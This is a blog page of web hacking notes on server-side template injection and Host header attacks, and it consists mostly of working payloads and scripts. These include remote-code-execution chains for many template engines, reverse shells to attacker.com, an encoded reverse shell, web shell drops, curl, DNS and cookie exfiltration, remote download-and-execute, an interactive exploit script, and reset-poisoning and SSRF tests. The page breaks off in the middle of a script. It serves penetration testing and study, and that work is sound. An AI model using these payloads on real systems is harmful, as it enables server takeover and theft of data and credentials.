Skip to main content

Web Hacking Notes | Bug Bounties (SSTI & Host Header Attacks)

3426 words
Edwin Tok | Shiro
Author
Edwin Tok | Shiro
「 ✦ OwO ✦ 」
Table of Contents

Web VAPT & Bug Bounty Notes
#


Server-Side Template Injection (SSTI)
#

Exploit template engines by injecting malicious template syntax, leading to information disclosure or RCE.

SSTI remains prevalent in Python (Flask/Django), Node.js (Handlebars/Pug), Java (Freemarker/Velocity), and PHP (Twig/Smarty) applications. Focus on sandbox escapes and polyglot payloads.

Detection Payloads
#

# Universal arithmetic detection (polyglot approach)
{{2*2}}                 # Jinja2, Twig, Freemarker
${7*7}                  # Freemarker, Velocity, Thymeleaf, JSP EL
<%= 7*7 %>              # ERB (Ruby), JSP
#{7*7}                  # Mako, Thymeleaf
[[3*3]]                 # AngularJS (legacy, but still found)
@(7*7)                  # Razor (ASP.NET)
${{7*7}}                # Thymeleaf (Spring)
{7*7}                   # Smarty (older versions)
{{=7*7}}                # Mustache/Handlebars variant

# String manipulation detection (more reliable)
{{'abc'*3}}             # Should output: abcabcabc
{{7*'7'}}               # Should output: 7777777 (Jinja2)
${'abc'*3}              # Freemarker/Velocity

# Template-specific fingerprinting
{{config}}              # Jinja2/Flask (Python)
{{app}}                 # Jinja2/Flask
{{settings}}            # Django
{$smarty.version}       # Smarty (PHP)
@Model                  # Razor (ASP.NET)
#{systemProperties}     # Thymeleaf
${T(java.lang.System).getProperty('user.name')}  # Spring EL

# OPSEC: Non-obvious detection (avoid triggering WAF)
{{''.__class__}}        # Jinja2 - returns str class
${class.name}           # Freemarker - returns class name
<%= self %>             # ERB - returns main object

# Polyglot detection payload (tests multiple engines)
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}

Jinja2/Flask Exploitation (Python)
#

# Information disclosure
{{config}}                              # Flask config object (often contains SECRET_KEY)
{{config.items()}}                      # All config items
{{request}}                             # HTTP request object
{{request.environ}}                     # Environment variables
{{request.cookies}}                     # Cookies
{{request.headers}}                     # HTTP headers
{{self.__dict__}}                       # Self object attributes
{{lipsum.__globals__}}                  # Global variables from lipsum
{{url_for.__globals__}}                 # URL helper globals
{{get_flashed_messages.__globals__}}    # Flask globals

# Modern Jinja2 sandbox escape (2025 techniques)
# Method 1: Using __init__.__globals__
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.__class__.__init__.__globals__['os'].system('whoami')}}

# Method 2: MRO (Method Resolution Order) traversal
{{''.__class__.__mro__[1].__subclasses__()}}  # List all subclasses

# Find useful subclasses (automated approach)
{% for x in ().__class__.__base__.__subclasses__() %}
  {% if "warning" in x.__name__ %}
    {{x()._module.__builtins__['__import__']('os').popen('id').read()}}
  {% endif %}
{% endfor %}

# Method 3: Direct subprocess access (Python 3.x)
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}}

# Note: Index may vary - find subprocess.Popen class
# Search script:
{% for i in range(500) %}
  {% if ''.__class__.__mro__[1].__subclasses__()[i].__name__ == 'Popen' %}
    Index {{i}}: {{''.__class__.__mro__[1].__subclasses__()[i]}}
  {% endif %}
{% endfor %}

# Method 4: Using catch_warnings (Python 3.x most reliable)
{{[].__class__.__base__.__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('id').read()}}

# Method 5: Builtins access via lipsum
{{lipsum.__globals__.os.popen('id').read()}}
{{lipsum.__globals__['__builtins__']['__import__']('os').popen('id').read()}}

# File system access
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}  # _io.TextIOWrapper
{{config.__class__.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}

# Reverse shell
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"').read()}}

# OPSEC: Encoded reverse shell (avoid detection)
{{config.__class__.__init__.__globals__['os'].popen('echo YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci5jb20vNDQ0NCAwPiYx|base64 -d|bash').read()}}

# Write webshell to disk
{{config.__class__.__init__.__globals__['os'].popen('echo "<?php system($_GET[c]); ?>" > /var/www/html/shell.php').read()}}

# Modern Flask-specific exploitation
# Access app context
{{get_flashed_messages.__globals__['current_app'].config}}
{{url_for.__globals__['current_app'].config['SECRET_KEY']}}

# Session manipulation (if SECRET_KEY obtained)
# Use flask-unsign tool to forge sessions
# flask-unsign --decode --cookie 'session_cookie_here'
# flask-unsign --sign --cookie "{'user_id': 1, 'is_admin': True}" --secret 'SECRET_KEY'

Twig Exploitation (PHP)
#

{# Information disclosure #}
{{dump(app)}}                           # Application object
{{app.request}}                         # Request object
{{app.request.server.all}}              # Server variables
{{_self.env}}                           # Environment object
{{_context}}                            # Current context variables

{# File system access #}
{{include('/etc/passwd')}}
{{source('/etc/passwd')}}               # Read file contents

{# Code execution using filters (Twig 1.x/2.x) #}
{{'id'|filter('system')}}
{{'cat /etc/passwd'|filter('system')}}
{{'bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"'|filter('system')}}

{# Alternative filter methods #}
{{'id'|filter('passthru')}}
{{'id'|filter('shell_exec')}}
{{'id'|filter('exec')}}

{# Twig 3.x exploitation (filters restricted, use map) #}
{{['id']|map('system')|join(',')}}
{{['cat /etc/passwd']|map('passthru')|join}}
{{['whoami']|map('shell_exec')|join}}

{# Array map exploitation #}
{{['id','cat /etc/passwd']|map('system')|join}}

{# OPSEC: Chain multiple commands #}
{{['id;whoami;pwd']|map('system')|join}}

{# Environment variable access #}
{{app.request.server.get('PATH')}}
{{_self.env.getExtension('Twig_Extension_Core').getTokenParsers()}}

{# Modern Twig bypass (if filter blacklisted) #}
{% set cmd = 'system' %}
{{'id'|filter(cmd)}}

{# Macro abuse for RCE #}
{% macro exploit() %}
  {{['id']|map('system')|join}}
{% endmacro %}
{{exploit()}}

ERB Exploitation (Ruby)
#

<!-- File read -->
<%= File.open('/etc/passwd').read %>
<%= File.read('/etc/passwd') %>
<%= IO.read('/etc/passwd') %>
<%= File.binread('/etc/passwd') %>  <!-- Binary read -->

<!-- Directory listing -->
<%= Dir.entries('/') %>
<%= Dir.glob('/*') %>
<%= Dir.chdir('/etc'); Dir.glob('*') %>

<!-- Command execution -->
<%= system('id') %>
<%= `id` %>
<%= %x{id} %>
<%= IO.popen('id').readlines %>
<%= exec('id') %>  <!-- Warning: replaces current process -->

<!-- Reverse shell -->
<%= system('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"') %>
<%= `ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attacker.com","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'` %>

<!-- Environment variables -->
<%= ENV['PATH'] %>
<%= ENV.to_h %>

<!-- OPSEC: Silent command execution (no output) -->
<%= system('id > /tmp/output.txt') %>
<%= `curl http://attacker.com/?data=$(whoami)` %>

<!-- Modern Ruby 3.x features -->
<%= File.write('/var/www/html/shell.php', '<?php system($_GET[c]); ?>') %>
<%= Net::HTTP.get(URI('http://attacker.com/?data=' + `id`.to_s)) %>

Freemarker Exploitation (Java)
#

// Basic RCE (Java reflection)
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("whoami")}

// Alternative method (ObjectConstructor)
<#assign cmd="id">
<#assign runtime=object?api.class.getClass().forName("java.lang.Runtime")>
<#assign method=runtime.getMethod("getRuntime",object?api.class)>
<#assign obj=method.invoke(object,object)>
<#assign exec_method=runtime.getMethod("exec",object?api.class)>
${exec_method.invoke(obj,cmd)}

// Modern approach (Java 8+)
${"freemarker.template.utility.Execute"?new()("id")}
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder",["id"]).start()}

// File system access
<#assign file=object?api.class.getResource("/etc/passwd").openStream()>
<#assign scanner=object?api.class.getConstructor(object?api.class).newInstance(file)>
<#assign content="">
<#list 1..999999 as i>
  <#if scanner.hasNext()>
    <#assign content=content+scanner.nextLine()+"\n">
  </#if>
</#list>
${content}

// OPSEC: Encode commands
<#assign cmd="echo aWQ= | base64 -d | bash">
${"freemarker.template.utility.Execute"?new()(cmd)}

// Reverse shell
<#assign cmd="bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'">
${"freemarker.template.utility.Execute"?new()(cmd)}

// Spring Boot specific (if Freemarker used)
${T(java.lang.Runtime).getRuntime().exec('id')}
${T(org.springframework.util.StreamUtils).copyToString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream(),T(java.nio.charset.Charset).defaultCharset())}

Velocity Exploitation (Java)
#

// Basic RCE
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$i
#end

// Simplified version (if classloader available)
#set($x=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$x.waitFor()
#foreach($i in [1..$x.getInputStream().available()])
$x.getInputStream().read()
#end

// Alternative method
$class.inspect("java.lang.Runtime").type.getRuntime().exec("calc.exe")

// File system access
#set($engine=$class.inspect("java.lang.System").type)
$engine.getProperty("user.dir")
$engine.getProperty("user.home")

// Modern Velocity 2.x exploitation
#set($proc=$class.forName("java.lang.ProcessBuilder"))
#set($procObj=$proc.getConstructor($class.forName("[Ljava.lang.String;")).newInstance(["id"]))
$procObj.start()

// OPSEC: Download and execute
#set($url=$class.forName("java.net.URL").getConstructor($class.forName("java.lang.String")).newInstance("http://attacker.com/shell.sh"))
#set($scanner=$class.forName("java.util.Scanner").getConstructor($class.forName("java.io.InputStream")).newInstance($url.openStream()))
#set($content=$scanner.useDelimiter("\A").next())
#set($runtime=$class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
$runtime.exec($content)

Smarty Exploitation (PHP)
#

{* Information disclosure *}
{$smarty.version}
{$smarty.template}
{$smarty.current_dir}
{$smarty.const.__FILE__}
{$smarty.server}

{* File inclusion (if static method available) *}
{include file="/etc/passwd"}
{include file="file:/etc/passwd"}

{* PHP code execution (if {php} tags enabled - rare in 2025) *}
{php}echo `id`;{/php}
{php}system($_GET['cmd']);{/php}
{php}file_get_contents('/etc/passwd');{/php}

{* Modern Smarty 3.x/4.x exploitation *}
{* Self-referencing variable exploitation *}
{$smarty.template_object->smarty->_tag_stack[0][0]->smarty->security_policy=null}
{system('id')}

{* Static method call (if allowed) *}
{Smarty_Internal_Write_File::writeFile($smarty.template_object, '/var/www/html/shell.php', '<?php system($_GET[c]); ?>', $smarty)}

{* OPSEC: Encode payload *}
{$x='system'}
{$x('id')}

{* Function call via variable *}
{assign var="cmd" value="system"}
{$cmd('whoami')}

{* Modern bypass (Smarty 4.x) *}
{function name=exploit}system('id'){/function}
{exploit}

Handlebars/Mustache Exploitation (Node.js)
#

// Basic RCE (if NodeJS environment accessible)
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('id');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

// Simplified payload (Handlebars 4.x)
{{#with "constructor" as |c|}}
  {{#with c as |cc|}}
    {{lookup cc "constructor"}}("return require('child_process').exec('id');")()
  {{/with}}
{{/with}}

// Alternative method (prototype pollution path)
{{constructor.constructor('return process.mainModule.require("child_process").execSync("id")')()}}

// Reverse shell
{{constructor.constructor('return process.mainModule.require("child_process").execSync("bash -c \\"bash -i >& /dev/tcp/attacker.com/4444 0>&1\\"")')()}}

// File read
{{constructor.constructor('return process.mainModule.require("fs").readFileSync("/etc/passwd")')()}}

// OPSEC: Environment variable access
{{constructor.constructor('return process.env')()}}

// Modern Handlebars (2025) - helper abuse
{{#lookup (lookup this "constructor") "constructor"}}
  return require('child_process').execSync('id');
{{/lookup}}

Pug (Jade) Exploitation (Node.js)
#

// Code execution in Pug templates
- var x = require('child_process').execSync('id').toString()
= x

// Alternative syntax
#{function(){return require('child_process').execSync('id').toString()}()}

// Buffered code
= require('child_process').execSync('id').toString()

// Unbuffered code
- require('child_process').exec('id', function(err, stdout){console.log(stdout)})

// File read
= require('fs').readFileSync('/etc/passwd', 'utf8')

// Reverse shell
- require('child_process').exec('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"')

// OPSEC: Silent execution
- var output = require('child_process').execSync('id > /tmp/out.txt')

Advanced SSTI Techniques
#

# Python pickle deserialization (if pickle available)
{{''.__class__.__reduce_ex__(2)}}

# Custom object creation and manipulation
{% set x = dict(a=1) %}
{% set x.b = 2 %}
{{x}}

# Macro abuse (Jinja2)
{% macro test(cmd) %}
  {{config.__class__.__init__.__globals__['os'].popen(cmd).read()}}
{% endmacro %}
{{test('id')}}

# Import bypass via string manipulation
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}

# Complex payload chaining
{% set x = "os" %}
{% set y = "popen" %}
{% set z = "id" %}
{{config.__class__.__init__.__globals__[x][y](z).read()}}

# OPSEC: Obfuscated payload construction
{% set a = dict(o='o',s='s') %}
{% set cmd = a.o + a.s %}
{{config.__class__.__init__.__globals__[cmd].popen('id').read()}}

# Unicode obfuscation (bypass filters)
{{config['__cla'+'ss__']['__ini'+'t__']['__global'+'s__']['o'+'s'].popen('id').read()}}

# Attribute access alternatives
{{config['__class__']}}  # Bracket notation
{{config.__class__}}     # Dot notation
{{config|attr('__class__')}}  # Filter notation

# OPSEC: Time-delayed execution (blind SSTI)
{{config.__class__.__init__.__globals__['__builtins__']['__import__']('time').sleep(5)}}

# DNS exfiltration (blind SSTI)
{{config.__class__.__init__.__globals__['os'].popen('nslookup $(whoami).attacker.com').read()}}

SSTI Discovery & Enumeration
#

# Automated SSTI detection script
#!/bin/bash
# Usage: ./ssti_detect.sh "http://target.com/render" "template"

url="$1"
param="$2"
output="ssti_results_$(date +%Y%m%d_%H%M%S).txt"
delay=1

echo "[*] Testing SSTI on: $url (parameter: $param)" | tee "$output"

# Detection payloads (arithmetic)
detection_payloads=(
    "{{7*7}}"
    "\${7*7}"
    "<%= 7*7 %>"
    "#{7*7}"
    "[[7*7]]"
    "@(7*7)"
    "\${{7*7}}"
)

expected_results=("49" "49" "49" "49" "49" "49" "49")

for i in "${!detection_payloads[@]}"; do
    payload="${detection_payloads[$i]}"
    expected="${expected_results[$i]}"
    
    echo "[*] Testing: $payload" | tee -a "$output"
    
    response=$(curl -s -X POST "$url" \
                   -d "${param}=${payload}" \
                   -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
    
    if echo "$response" | grep -q "$expected"; then
        echo "[+] VULNERABLE: SSTI detected!" | tee -a "$output"
        echo "[+] Payload: $payload" | tee -a "$output"
        echo "[+] Expected result found: $expected" | tee -a "$output"
        
        # Template engine fingerprinting
        echo "[*] Attempting to fingerprint template engine..." | tee -a "$output"
        
        # Test for Jinja2/Flask
        jinja_test="{{config}}"
        jinja_response=$(curl -s -X POST "$url" -d "${param}=${jinja_test}")
        if echo "$jinja_response" | grep -qi "SECRET_KEY\|DEBUG\|ENV"; then
            echo "[+] Template engine: Jinja2 (Flask)" | tee -a "$output"
        fi
        
        # Test for Twig
        twig_test="{{dump(app)}}"
        twig_response=$(curl -s -X POST "$url" -d "${param}=${twig_test}")
        if echo "$twig_response" | grep -qi "Symfony\|Request"; then
            echo "[+] Template engine: Twig (Symfony)" | tee -a "$output"
        fi
        
        break
    fi
    
    sleep $delay
done

echo "[*] Testing complete. Results saved to: $output"

# Modern tool alternatives (2025)

# SSTImap - Comprehensive SSTI exploitation tool
python3 sstimap.py -u "http://target.com/render?template=test" -s

# Interactive mode for complex exploitation
python3 sstimap.py -u "http://target.com/render?template=test" --interactive

# Tplmap - Template injection scanner
python3 tplmap.py -u "http://target.com/render?template=*"
python3 tplmap.py -u "http://target.com/render?template=*" --os-shell

# OPSEC: Manual testing with Burp Suite
# 1. Intercept request with Burp
# 2. Send to Repeater
# 3. Test detection payloads
# 4. Use Intruder for automated fuzzing with delay

# Custom fuzzing wordlist for SSTI
cat > ssti_payloads.txt << 'EOF'
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
{{config}}
{{self}}
{{request}}
${class.name}
{{''.__class__}}
{{app}}
{$smarty.version}
@Model
{{constructor.constructor}}
EOF

# Use with ffuf or other fuzzers
ffuf -u "http://target.com/render?template=FUZZ" -w ssti_payloads.txt -mc 200 -t 1 -p 1

SSTI to RCE Exploitation Chain
#

# Complete exploitation example (Jinja2)

# Step 1: Detection
{{7*7}}  # Returns: 49

# Step 2: Fingerprinting
{{config}}  # Identifies Jinja2/Flask

# Step 3: Information disclosure
{{config.items()}}  # Dump all config
{{request.environ}}  # Environment variables

# Step 4: Find useful classes
{{''.__class__.__mro__[1].__subclasses__()}}

# Step 5: Identify Popen or file access class
# Search for index of subprocess.Popen
{% for i in range(500) %}
  {{i}}: {{''.__class__.__mro__[1].__subclasses__()[i].__name__}}
{% endfor %}

# Step 6: Execute command (assuming Popen is at index 396)
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}}

# Step 7: Establish reverse shell
{{''.__class__.__mro__[1].__subclasses__()[396]('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"',shell=True,stdout=-1).communicate()}}

# OPSEC: Automated exploitation script
cat > ssti_exploit.py << 'EOF'
#!/usr/bin/env python3
import requests
import sys

if len(sys.argv) < 3:
    print(f"Usage: {sys.argv[0]} <url> <parameter>")
    sys.exit(1)

url = sys.argv[1]
param = sys.argv[2]

# Step 1: Find Popen index
print("[*] Finding subprocess.Popen index...")
for i in range(500):
    payload = f"{{{{''.__class__.__mro__[1].__subclasses__()[{i}].__name__}}}}"
    r = requests.post(url, data={param: payload})
    if 'Popen' in r.text:
        print(f"[+] Found Popen at index: {i}")
        popen_index = i
        break

# Step 2: Execute command
cmd = "whoami"
payload = f"{{{{''.__class__.__mro__[1].__subclasses__()[{popen_index}]('{cmd}',shell=True,stdout=-1).communicate()[0].strip()}}}}"
r = requests.post(url, data={param: payload})
print(f"[+] Command output:\n{r.text}")

# Step 3: Interactive shell
print("[*] Starting interactive shell...")
while True:
    cmd = input("$ ")
    if cmd == "exit":
        break
    payload = f"{{{{''.__class__.__mro__[1].__subclasses__()[{popen_index}]('{cmd}',shell=True,stdout=-1).communicate()[0].strip()}}}}"
    r = requests.post(url, data={param: payload})
    print(r.text)
EOF

chmod +x ssti_exploit.py

Host Header Attacks
#

Manipulate Host header and related headers to exploit application logic, leading to password reset poisoning, cache poisoning, SSRF, or authentication bypass.

With widespread CDN usage and microservices architecture, host header attacks have evolved. Focus on cache poisoning, cloud service confusion, and routing manipulation.

Common Attack Vectors
#

# Basic Host header manipulation
GET / HTTP/1.1
Host: evil.com
Connection: close

# Alternative headers to test (X-Forwarded family)
GET / HTTP/1.1
Host: legitimate.com
X-Forwarded-Host: evil.com
X-Host: evil.com
X-Forwarded-Server: evil.com
X-HTTP-Host-Override: evil.com
Forwarded: host=evil.com
X-Original-URL: evil.com
X-Rewrite-URL: evil.com

# Modern CDN/proxy headers (2025)
GET / HTTP/1.1
Host: legitimate.com
CF-Connecting-IP: evil.com       # Cloudflare
True-Client-IP: evil.com          # Akamai/Cloudflare
X-Real-IP: evil.com
X-Client-IP: evil.com
X-ProxyUser-IP: evil.com

# Multiple Host headers (RFC 7230 violation, but some servers accept)
GET / HTTP/1.1
Host: legitimate.com
Host: evil.com

# Port manipulation (bypass filtering)
GET / HTTP/1.1
Host: legitimate.com:8080
Host: legitimate.com:@evil.com
Host: legitimate.com%00.evil.com

# IP address spoofing (internal access)
GET / HTTP/1.1
X-Real-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1

# OPSEC: Chain multiple headers
GET / HTTP/1.1
Host: legitimate.com
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: evil.com
X-Real-IP: 192.168.1.1

Password Reset Poisoning
#

# Classic password reset poisoning
POST /forgot-password HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: evil.com
Content-Type: application/x-www-form-urlencoded

email=victim@company.com

# If vulnerable, reset link becomes:
# https://evil.com/reset?token=abc123
# instead of:
# https://vulnerable.com/reset?token=abc123

# Modern variations (multiple attack vectors)

# Method 1: X-Forwarded-Host manipulation
POST /api/password-reset HTTP/1.1
Host: api.company.com
X-Forwarded-Host: evil.com
Content-Type: application/json

{"email":"victim@company.com"}

# Method 2: Absolute URL in Host header
POST /reset HTTP/1.1
Host: https://evil.com
Content-Type: application/x-www-form-urlencoded

email=victim@company.com

# Method 3: Host header with port
POST /reset HTTP/1.1
Host: evil.com:443
Content-Type: application/x-www-form-urlencoded

email=victim@company.com

# Method 4: Unicode/IDN attack
POST /reset HTTP/1.1
Host: еvil.com  # Cyrillic 'е' instead of Latin 'e'
Content-Type: application/x-www-form-urlencoded

email=victim@company.com

# OPSEC: Testing methodology
# 1. Create account on target application
# 2. Initiate password reset for your account
# 3. Intercept request in Burp Suite
# 4. Modify Host/X-Forwarded-Host header to your domain
# 5. Check email for reset link
# 6. Verify if link points to your domain
# 7. If successful, test with victim account

# Automated testing script
#!/bin/bash
# Usage: ./host_header_poison.sh target.com email@test.com

target="$1"
email="$2"
attacker_domain="attacker.com"

echo "[*] Testing password reset poisoning..."

# Test various headers
headers=(
    "X-Forwarded-Host: $attacker_domain"
    "X-Host: $attacker_domain"
    "X-Forwarded-Server: $attacker_domain"
    "Forwarded: host=$attacker_domain"
)

for header in "${headers[@]}"; do
    echo "[*] Testing with: $header"
    
    curl -s -X POST "https://$target/forgot-password" \
         -H "$header" \
         -d "email=$email" \
         -v 2>&1 | grep -i "location\|reset"
    
    sleep 2
done

Cache Poisoning
#

# Web cache deception (steal cached user data)
GET /profile/nonexistent.css HTTP/1.1
Host: vulnerable.com
Cookie: sessionid=victim_session

# If cache stores this as /profile/nonexistent.css
# Attacker can later access cached victim data:
GET /profile/nonexistent.css HTTP/1.1
Host: vulnerable.com
# Receives victim's profile data from cache

# Modern cache poisoning with XSS
GET /search?q=test HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: "><script>fetch('https://attacker.com/c?c='+document.cookie)</script>

# If X-Forwarded-Host is reflected and response is cached,
# all users get XSS payload

# Cache poisoning with redirect
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: evil.com

# If server generates redirect based on X-Forwarded-Host:
# HTTP/1.1 301 Moved Permanently
# Location: https://evil.com/

# Fat GET request (bypass cache key)
GET /?utm_source=test HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: evil.com

# Cache uses /?utm_source=test as key, but:
# Response includes evil.com in generated URLs

# OPSEC: Unkeyed header discovery
GET / HTTP/1.1
Host: legitimate.com
X-Custom-Header: <script>alert(1)</script>

# Check if X-Custom-Header reflected but not in cache key
# Use param miner Burp extension for automated detection

# Modern CDN-specific attacks (2025)

# Cloudflare cache poisoning
GET / HTTP/1.1
Host: target.com
CF-Connecting-IP: <script>alert(1)</script>
CF-IPCountry: XX
CF-RAY: evil

# Fastly cache poisoning
GET / HTTP/1.1
Host: target.com
Fastly-Client-IP: <script>alert(1)</script>
Fastly-SSL: yes

# Akamai cache poisoning
GET / HTTP/1.1
Host: target.com
True-Client-IP: <script>alert(1)</script>
Akamai-Origin-Hop: evil

Host Header Injection for SSRF
#

# Internal service access
GET / HTTP/1.1
Host: 192.168.1.100:8080

# Localhost access (various representations)
GET / HTTP/1.1
Host: localhost

GET / HTTP/1.1
Host: 127.0.0.1

GET / HTTP/1.1
Host: 0.0.0.0

GET / HTTP/1.1
Host: 0

GET / HTTP/1.1
Host: [::1]         # IPv6 localhost

GET / HTTP/1.1
Host: 127.1         # Short form

GET / HTTP/1.1
Host: 2130706433    # Decimal representation

# Cloud metadata access (critical in 2025)
GET / HTTP/1.1
Host: 169.254.169.254

GET / HTTP/1.1
Host: metadata.google.internal

GET / HTTP/1.1
Host: 100.100.100.200  # Alibaba Cloud

# Internal DNS names
GET / HTTP/1.1
Host: internal.company.local

GET / HTTP/1.1
Host: admin.internal

GET / HTTP/1.1
Host: backend.svc.cluster.local  # Kubernetes internal

# Microservices targeting (2025 architecture)
GET / HTTP/1.1
Host: auth-service:8080

GET / HTTP/1.1
Host: user-service.default.svc.cluster.local

GET / HTTP/1.1
Host: redis:6379

# OPSEC: Combine with SSRF for deeper access
GET /fetch?url=http://internal/ HTTP/1.1
Host: 192.168.1.1
X-Forwarded-For: 127.0.0.1

Advanced Techniques
#

# Protocol smuggling
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Proto: https

# Forces application to:
# 1. Generate HTTPS URLs in responses
# 2. Set secure flags on cookies
# 3. Bypass HTTP-only protections

# Absolute URI in request line (RFC 2616)
GET http://evil.com/ HTTP/1.1
Host: vulnerable.com

# Some servers prioritize URI over Host header

# Connection header manipulation
GET / HTTP/1.1
Host: vulnerable.com
Connection: keep-alive
X-Forwarded-Host: evil.com

# SNI (Server Name Indication) confusion
# TLS SNI: legitimate.com
# Host header: evil.com

# Unicode/IDN attacks (2025 techniques)
GET / HTTP/1.1
Host: аpp.com  # Cyrillic 'а' instead of Latin 'a'

GET / HTTP/1.1
Host: app。com  # Ideographic full stop instead of period

# Punycode representation
GET / HTTP/1.1
Host: xn--app-5bb.com  # Punycode for cyrillic domain

# URL parsing discrepancies
GET / HTTP/1.1
Host: vulnerable.com#evil.com

GET / HTTP/1.1
Host: vulnerable.com@evil.com

GET / HTTP/1.1
Host: vulnerable.com:@evil.com

GET / HTTP/1.1
Host: evil.com%23vulnerable.com

GET / HTTP/1.1
Host: evil.com%00.vulnerable.com

# Request splitting (CRLF injection)
GET / HTTP/1.1
Host: vulnerable.com%0d%0aX-Forwarded-Host: evil.com

# Double Host header (implementation-dependent)
GET / HTTP/1.1
Host: vulnerable.com
Host: evil.com

# Host header with path
GET / HTTP/1.1
Host: vulnerable.com/evil

# OPSEC: Cloud provider confusion
# AWS S3 bucket takeover via Host header
GET / HTTP/1.1
Host: target-bucket.s3.amazonaws.com

# Azure storage account takeover
GET / HTTP/1.1
Host: targetaccount.blob.core.windows.net

# GCP Cloud Storage bucket
GET / HTTP/1.1
Host: target-bucket.storage.googleapis.com

Testing Methodology
#

# Comprehensive host header testing script
#!/bin/bash
# Usage: ./host_header_test.sh https://target.com

target="$1"
attacker_domain="attacker.com"
output="host_header_results_$(date +%Y%m%d_%H%M%S).txt"

echo "[*] Testing host header vulnerabilities on: $target" | tee "$output"

# Extract domain from URL
domain=$(echo "$target" | sed 's|https\?://||' | cut -d'/' -f1)

# Phase 1: Basic Host header manipulation
echo "[*] Phase 1: Basic Host header tests" | tee -a "$output"

curl -s "$target" -H "Host: $attacker_domain" -v 2>&1 | \
    grep -i "location\|set-cookie\|refresh" | tee -a "$output"

# Phase 2: Alternative headers
echo "[*] Phase 2: Alternative header tests" | tee -a "$output"

alt_headers=(
    "X-Forwarded-Host: $attacker_domain"
    "X-Host: $attacker_domain"
    "X-Forwarded-Server: $attacker_domain"
    "X-HTTP-Host-Override: $attacker_domain"
    "Forwarded: host=$attacker_domain"
    "X-Original-URL: $attacker_domain"
    "X-Rewrite-URL: $attacker_domain"
)

for header in "${alt_headers[@]}"; do
    echo "[*] Testing: $header" | tee -a "$output"
    response=$(curl -s "$target" -H "$header")
    
    # Check if attacker domain reflected
    if echo "$response" | grep -q "$attacker_domain"; then
        echo "[+] REFLECTED: $header" | tee -a "$output"
        echo "$response" | head -n 50 >> "$output"
    fi
    
    sleep 1
done

# Phase 3: SSRF via Host header
echo "[*] Phase 3: SSRF tests" | tee -a "$output"

ssrf_targets=(
    "127.0.0.1"
    "localhost"
    "169.254.169.254"
    "metadata.google.internal"
    "0.0.0.0"
    "[::1]"
)

for ssrf_host in "${ssrf_targets[@]}"; do
    echo "[*] Testing SSRF with Host: $ssrf_host" | tee -a "$output"
    curl -s "$target" -H "Host: $ssrf_host" -v 2>&1 | \
        grep -i "location\|metadata" | tee -a "$output"
    sleep 1
done

# Phase 4: Cache poisoning tests
echo "[*] Phase 4: Cache poisoning tests" | tee -a "$output"

# Add unique identifier to track caching
unique_id=$(date +%s)

curl -s "$target/?cache_test=$unique_id" \
     -H "X-Forwarded-Host: $attacker_domain" \
     -v 2>&1 | tee -a "$output"

# Request again without header to check if cached
sleep 2
cached_response=$(curl -s "$target/?cache_test=$unique_id")

if echo "$cached_response" | grep -q "$attacker_domain"; then
    echo "[+] CACHE POISONING: Attacker domain cached!" | tee -a "$output"
fi

echo "[*] Testing complete. Results saved to: $output"

# Modern tool: Host Header Attack Scanner (automated)
# https://github.com/PortSwigger/host-header-attacks

# Nuclei template for host header attacks
nuclei -u "$target" -t ~/nuclei-templates/vulnerabilities/generic/host-header-injection.yaml

# Burp Suite automated testing
# Use Param Miner extension:
# 1. Right-click target in Burp
# 2. Extensions → Param Miner → Guess headers
# 3. Review unkeyed headers in output

# OPSEC: Stealthy cache poisoning test
#!/bin/bash
# Test cache poisoning without obvious payloads

target="https://target.com"
canary="X-Cache-Test-$(date +%s)"

# Step 1: Send request with canary in custom header
curl -s "$target" -H "$canary: poisoned" -H "X-Forwarded-Host: evil.com"

# Step 2: Check if canary persists in cache
sleep 2
response=$(curl -s "$target")

if echo "$response" | grep -q "evil.com"; then
